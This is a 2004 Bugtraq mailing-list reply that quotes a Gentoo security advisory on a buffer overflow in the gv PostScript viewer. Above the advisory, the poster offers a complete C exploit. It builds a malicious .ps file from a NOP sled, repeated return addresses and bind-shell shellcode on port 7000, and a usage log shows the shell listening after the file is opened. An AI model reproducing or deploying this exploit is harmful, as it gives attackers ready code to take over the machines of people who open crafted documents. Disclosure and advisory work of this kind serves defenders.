Date: Thu, 12 Aug 2004 18:06:46 -0400
From: infamous41md@...pop.com
To: bugtraq@...urityfocus.com
Subject: Re: [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow


/*
 * gv postscript viewer exploit , infamous42md AT hotpop DOT com
 *
 * run of the mill bof.  spawns a remote shell on port 7000.  woopty doo. if
 * someone has been able to exploit the heap overflow in cfengine, please email
 * me and teach me something. after days of pain i've concluded it's not 
 * possible b/c you can't manipulate the heap enough to get anything good in 
 * front of you.  please prove me wrong so i can learn.
 *
 * shouts to mitakeet
 *
 *  [n00b@...alho.outernet] netstat -ant | grep 7000
 *  [n00b@...alho.outernet] gcc -Wall -o gvown gvown.c
 *  [n00b@...alho.outernet] ./gvown 0xbffff350
 *  [n00b@...alho.outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps 
 *  [n00b@...alho.outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN      
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    

int main(int argc, char **argv)
{
    int len, x, fd;
    char    buf[BS];
    u_long  retaddr;

    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* create 3vil buf */
    memset(buf, NOP, BS);
    strcpy(buf, PS_COMMENT);
    len = strlen(buf);
    for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
        memcpy(buf+x+len, &retaddr, sizeof(retaddr));
    len += x + NNOPS;
    strcpy(buf+len, remote);
    strcat(buf+len, "\n");
    len += strlen(remote) + 1;   /* + NULL */

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
    
    return 0;
}



On Thu, 12 Aug 2004 13:33:07 +0200
Sune Kloppenborg Jeppesen <jaervosz@...too.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Gentoo Linux Security Advisory                           GLSA 200408-10
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>                                             http://security.gentoo.org/
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> 
>   Severity: Normal
>      Title: gv: Exploitable Buffer Overflow
>       Date: August 12, 2004
>       Bugs: #59385
>         ID: 200408-10
> 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> 
> Synopsis
> ========
> 
> gv contains an exploitable buffer overflow that allows an attacker to
> execute arbitrary code.
> 
> Background
> ==========
> 
> gv is a PostScript and PDF viewer for X which provides a user interface
> for the ghostscript interpreter.
> 
> Affected packages
> =================
> 
>     -------------------------------------------------------------------
>      Package      /   Vulnerable   /                        Unaffected
>     -------------------------------------------------------------------
>   1  app-text/gv      <= 3.5.8-r3                          >= 3.5.8-r4
> 
> Description
> ===========
> 
> gv contains a buffer overflow vulnerability where an unsafe sscanf()
> call is used to interpret PDF and PostScript files.
> 
> Impact
> ======
> 
> By enticing a user to view a malformed PDF or PostScript file an
> attacker could execute arbitrary code with the permissions of the user
> running gv.
> 
> Workaround
> ==========
> 
> There is no known workaround at this time. All users are encouraged to
> upgrade to the latest available version of gv.
> 
> Resolution
> ==========
> 
> All gv users should upgrade to the latest version:
> 
>     # emerge sync
> 
>     # emerge -pv ">=app-text/gv-3.5.8-r4"
>     # emerge ">=app-text/gv-3.5.8-r4"
> 
> References
> ==========
> 
>   [ 1 ] CAN-2002-0838
>         http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838
> 
> Availability
> ============
> 
> This GLSA and any updates to it are available for viewing at
> the Gentoo Security Website:
> 
>     http://security.gentoo.org/glsa/glsa-200408-10.xml
> 
> Concerns?
> =========
> 
> Security is a primary focus of Gentoo Linux and ensuring the
> confidentiality and security of our users machines is of utmost
> importance to us. Any security concerns should be addressed to
> security@...too.org or alternatively, you may file a bug at
> http://bugs.gentoo.org.
> 
> License
> =======
> 
> Copyright 2004 Gentoo Foundation, Inc; referenced text
> belongs to its owner(s).
> 
> The contents of this document are licensed under the
> Creative Commons - Attribution / Share Alike license.
> 
> http://creativecommons.org/licenses/by-sa/1.0
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-- 
-sean

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